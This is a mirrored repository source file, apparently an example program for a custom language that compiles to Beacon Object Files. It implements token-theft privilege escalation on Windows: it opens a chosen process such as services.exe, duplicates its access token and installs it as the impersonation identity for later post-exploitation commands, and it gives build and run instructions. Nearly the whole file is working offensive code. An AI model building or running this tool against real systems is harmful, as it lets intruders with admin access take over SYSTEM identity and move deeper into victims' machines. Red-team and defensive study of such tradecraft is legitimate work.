mirror of
https://github.com/entropykit/entropia
synced 2026-06-24 06:05:04 +00:00
82 lines
2.8 KiB
Plaintext
82 lines
2.8 KiB
Plaintext
// SPDX-License-Identifier: Apache-2.0
|
|
// bof_token_steal.etpy - privilege escalation via token theft.
|
|
//
|
|
// Same tradecraft as TrustedSec's `steal_token` BOF; ~80 lines
|
|
// instead of ~400 because:
|
|
// * the language already lowers structured-binding calls to the
|
|
// Win64 ABI (no manual rcx/rdx juggling);
|
|
// * BeaconUseToken / BeaconRevertToken are typed extern fns out
|
|
// of `use bof;` - no header wrestling;
|
|
// * the inline struct decl matches the OS ABI directly.
|
|
//
|
|
// Build: entc compile example/bof_token_steal.etpy --type=bof
|
|
// Args: --iarg <pid> (target process; required)
|
|
// Run: bof-runner example/bof_token_steal.obj --iarg 1648 # services.exe
|
|
//
|
|
// Pre-conditions:
|
|
// * SeDebugPrivilege on the calling token (admin / SYSTEM).
|
|
// * The target's primary token must be impersonatable (which
|
|
// it is for any process whose owner SID we hold or which is
|
|
// SecurityImpersonation-class - services.exe always works).
|
|
|
|
|
|
use bof;
|
|
|
|
fn go(args: char*, len: int) -> void {
|
|
|
|
var parser: datap;
|
|
BeaconDataParse(&parser, args, len);
|
|
var pid: int = BeaconDataInt(&parser);
|
|
|
|
if pid == 0 {
|
|
BeaconPrintf(0, "[!] usage: token_steal <pid>\n");
|
|
BeaconPrintf(0, " pick a SYSTEM-owned PID via the `ps` BOF first.\n");
|
|
ret;
|
|
}
|
|
|
|
BeaconPrintf(0, str.format("[+] targeting pid {d}\n", pid));
|
|
|
|
// Requires SeDebugPrivilege to open a SYSTEM-owned process.
|
|
var h_proc: u64 = (u64)Kernel32.OpenProcess(
|
|
PROCESS_QUERY_INFORMATION, 0, (u32)pid);
|
|
if h_proc == 0 {
|
|
BeaconPrintf(0, "[!] OpenProcess failed (need SeDebugPrivilege)\n");
|
|
ret;
|
|
}
|
|
|
|
var h_token: u64 = 0;
|
|
var ok: int = Advapi32.OpenProcessToken(
|
|
(void*)h_proc,
|
|
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE,
|
|
&h_token);
|
|
if ok == 0 {
|
|
Kernel32.CloseHandle((void*)h_proc);
|
|
BeaconPrintf(0, "[!] OpenProcessToken failed\n");
|
|
ret;
|
|
}
|
|
|
|
var h_dup: u64 = 0;
|
|
ok = Advapi32.DuplicateTokenEx((void*)h_token, 0, (void*)0, 2, 2, &h_dup);
|
|
|
|
// Source token + process handle no longer needed once the duplicate is in hand. Close in reverse order of opening so a leak in DuplicateTokenEx doesn't strand them.
|
|
Kernel32.CloseHandle((void*)h_token);
|
|
Kernel32.CloseHandle((void*)h_proc);
|
|
|
|
if ok == 0 || h_dup == 0 {
|
|
BeaconPrintf(0, "[!] DuplicateTokenEx failed\n");
|
|
ret;
|
|
}
|
|
|
|
// BeaconUseToken installs the impersonation token as the identity used for subsequent BOFs + commands.
|
|
var used: bool = BeaconUseToken((void*)h_dup);
|
|
if used == false {
|
|
Kernel32.CloseHandle((void*)h_dup);
|
|
BeaconPrintf(0, "[!] BeaconUseToken refused the token\n");
|
|
ret;
|
|
}
|
|
|
|
BeaconPrintf(0, str.format("[+] token from pid {d} installed\n", pid));
|
|
BeaconPrintf(0, "[+] use `getuid` to confirm, `rev2self` to release\n");
|
|
ret;
|
|
}
|